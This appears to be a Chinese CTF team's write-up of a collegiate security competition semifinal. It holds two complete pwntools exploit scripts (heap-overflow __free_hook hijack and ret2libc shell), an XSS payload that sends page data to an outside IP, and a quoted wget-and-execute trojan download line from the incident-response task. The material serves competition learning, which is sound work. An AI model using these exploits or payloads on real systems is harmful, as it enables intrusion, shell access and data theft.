第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

admin 2025年3月18日20:48:54评论2 views字数 6959阅读23分11秒阅读模式

 

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

AWDP

prompt(Pwn-fix)

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

第一次正常修了free没有过patch,第二次改了一下malloc大小,好像改的太多了直接服务异常了

第三次把jz改为jnz就过patch了(感觉他没有check程序是否可以正常运行,听别的师傅说直接nop函数也能过)

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

typo(Pwn-fix)

edit这里格式化字符串有洞,直接修改为常规格式化字符串即可

rdx改为%lu

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

patch前:

.text:0000000000001662                 lea     rsi, maxlen     ; "%lu"
.text:0000000000001669                 mov     eax, [rbp+var_11C]
.text:000000000000166F                 cdqe
.text:0000000000001671                 lea     rdx, ds:0[rax*8]
.text:0000000000001679                 lea     rax, unk_4060
.text:0000000000001680                 mov     rax, [rdx+rax]
.text:0000000000001684                 lea     rdx, [rbp+s]    ; format
.text:000000000000168B                 mov     ecx, 8
.text:0000000000001690                 mov     rdi, rax        ; s
.text:0000000000001693                 mov     eax, 0
.text:0000000000001698                 call    _snprintf

patch后:

.text:0000000000001662                 lea     rsi, maxlen     ; "%lu"
.text:0000000000001669                 mov     eax, [rbp+var_11C]
.text:000000000000166F                 cdqe
.text:0000000000001671                 lea     rdx, ds:0[rax*8]
.text:0000000000001679                 lea     rax, unk_4060
.text:0000000000001680                 mov     rax, [rdx+rax]
.text:0000000000001684                 lea     rdx, maxlen     ; format
.text:0000000000001684                                         ; Keypatch modified this from:
.text:0000000000001684                                         ;   lea rdx, [rbp+s]
.text:000000000000168B                 mov     ecx, 8
.text:0000000000001690                 mov     rdi, rax        ; s
.text:0000000000001693                 mov     eax, 0
.text:0000000000001698                 call    _snprintf
第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

typo(赛后break)

渗透最后还有半个小时没事情干了,把上午typo的break打通了

ida编译没有show,想到了stdout泄露libc,并且存在堆溢出,打__free_hook为system

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
from struct import pack
from LibcSearcher import LibcSearcher
context.log_level='debug'
context(os='linux', arch='amd64')
p = process('./pwn')
elf = ELF('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'x00'))
uu64    = lambda data               :u64(data.ljust(8,b'x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
 gdb.attach(p)
 pause()
def choice(idx):
    p.sendlineafter(">>",str(idx))

def add(idx,size):
    choice(1)
    p.sendlineafter("Index:",str(idx))
    p.sendlineafter("Size:",str(size))

def free(idx):
    choice(2)
    p.sendlineafter("Index:",str(idx))
def edit(idx,payload1,payload2):
    choice(3)
    p.sendlineafter("Index:",str(idx))
    p.sendafter("content:",payload1)
    p.sendafter("say:",payload2)

add(0,0x10)
for i in range(1,8):
    add(i,0x80)
add(8,0x80)
add(9,0x10)
add(16,0x10)
add(19,0x1f0)
add(18,0x1f0)
add(17,0x1f0)
for i in range(1,8):
    free(i)
for i in range(1,8):
    add(i,0x80)
edit(7,b'a'*0x88+p64(0x431),'a')
free(3)
free(4)
free(6)
add(10,0x110)
edit(10,b'aaaaaaaa',b'a'*0x80+p64(0x91)+p64(0x1010))
edit(5,'aaaaaa',b'a'*0x80+p64(0x91)+p16(0x26a0-0x10))
add(3,0x80)
add(4,0x80)
edit(4,b'aa',b'a'*0x8+p64(0xfbad1800)+b'x00'*(0x11+8))
libc_base=u64(p.recvuntil(b'x7f')[-6:]+b'��')-0x1ec980
print('libc_base: '+hex(libc_base))
edit(2,b'a'*0x90+p64(0x1234),'e')
free(3)
free(8)
edit(1,b'aaa',b'a'*0x80+p64(0x91)+p64(libc_base+libc.sym['__free_hook']-0x10))
add(11,0x80)
add(12,0x80)
sys = libc_base+libc.sym['system']
pay = b'a'*0x8+p64(sys)
edit(12,'aa',pay)
edit(1,b'aaa',b'a'*0x80+p64(0x91)+b'/bin/sh�')
free(11)
p.interactive()

time-capsule(Web-fix)

谁家好人冷部署啊 还不提醒

fix

过滤掉HikariCP FieldGetterHandler SignedObject 类即可。

ISW

应急响应

题目1:

题目1:找出主机上木马回连的主控端服务器IP地址[不定时(3~5分钟)周期性],并以flag{MD5}形式提交,其中MD5加密目标的原始字符串格式IP:port。

用火眼分析

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

发现这个1.txt非常的可疑,他下载了一个system_upgrade文件

我们可以去尝试这全局搜一下这个文件

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

发现这个

system_upgrade.ko

一个可执行文件,我们逆向一下

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

看主逻辑

发现ip和端口:

192.168.57.203:4948

题目2

题目2:找出主机上驻留的远控木马文件本体,计算该文件的MD5, 结果提交形式: flag{md5}

就是这个

system_upgrade.ko

md5一下

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

题目4

题目4:查找题目3中持久化程序(下载者)的植入痕迹,计算持久化程序植入时的原始名称MD5(仅计算文件名称字符串MD5),并提交对应flag{MD5}。

从那个1.txt里面

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade

原始程序就

.system_upgrade

md5一下就是flag

渗透

CCB2025

feedback.html 可以xss 泄露cookie

<img src=1 onerror=window.open("http://192.168.119.250:2333/"+document.all)>
第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

然后可以访问后台dashboard.php

feedback.html可以通过.htaccess 解析写马

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

进去是www-data权限 以为可以polkit提权 但是尝试许久没有成功 最后 翻看crontab的时候 发现 其中存在如下代码

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly

就是在每个小时17分钟时 可以提权 但是发现的时候已经是四点半了 😅😅😅😅😅😅

先知上应该有相应的情形案例 大抵是一样的

不提权好像挂不上代理,没有摸到内网

数据管理系统

8080端口存在接口泄露

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

可以下载源码

源码泄露shirokey

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

shiro反序列化

base64提权 即可

扫内网搭代理 发现掉进thinkphp窝了

漏扫一扫发现有thinkphp5.0.23 尝试利用 发现存在waf system用不了会重定向到rasp,但是file_get_contents放出来了,赛后复盘 感觉使用file_get_contents打文件读取rce应该可以绕过其中的waf

附个pwn附件exp,拿完shell队友说打出来了,发现是同一个入口:

发现有一个栈溢出可以拿shell,打libc即可,libcsearcher没找到对应libc,用了本地2.31的libc打的

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *
from LibcSearcher import*

context.log_level='debug'
context.arch='amd64'


#p=remote('172.19.119.30',65533)
p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')


s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'x00'))
uu64    = lambda data               :u64(data.ljust(8,b'x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32     = lambda      :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p)
    pause()


p.recv()
puts_plt = elf.plt['puts']
leak('puts_plt',puts_plt)
puts_got = elf.got['puts']
leak('puts_got',puts_got)
ret = 0x000000000040101a
rdi = 0x0000401181
pl1 = b'a'*0x138+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(0x0040118C)
p.sendline(pl1)

libc_base = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))-libc.sym['puts']
leak('libc_base',libc_base)
#libcc = LibcSearcher("puts",puts)
sys = libc_base + libc.symbols['system']
binsh= 0x000402004
pl2 = b'a'*0x138+p64(ret)+p64(rdi)+p64(binsh)+p64(sys)
p.sendline(pl2)

itr()

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

WebGit:

扫目录发现存在git泄露,直接通过git回滚,能够拿到flag1

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

扫描目录发现mail的后台登录地址,回显是sql语句,猜测是sql注入,还是个时间盲注,硬控了一个多小时,也os不到shell。后来刷新了一下思路,发现就是个万能密码登录,结果没有跳转,需要手动访问info.php进入后台……,从文件上传界面想找上传路径,发现admin的1.jpg的路径可以访问,里面藏了一个1.php的木马。

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

连上shell以后通过config.php连上数据库,拿到mail服务器的ryan用户密码,赛后反应过来开了pop3服务器的端口,flag2应该在那里面。从gitlab用户下面找到了flag4,flag5应该需要提权,su到ryan用户下面发现有一个del.py文件可以编辑,又是赛后,有师傅说可以通过修改guid来进行提权,可以拿flag3和5。

总结:

🍬了好几下,希望决赛不🍬了。

原文始发于微信公众号(山警网络空间安全实验室):第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日20:48:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛半决赛 WP by 圣地亚哥皮蛋https://cn-sec.com/archives/3857087.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息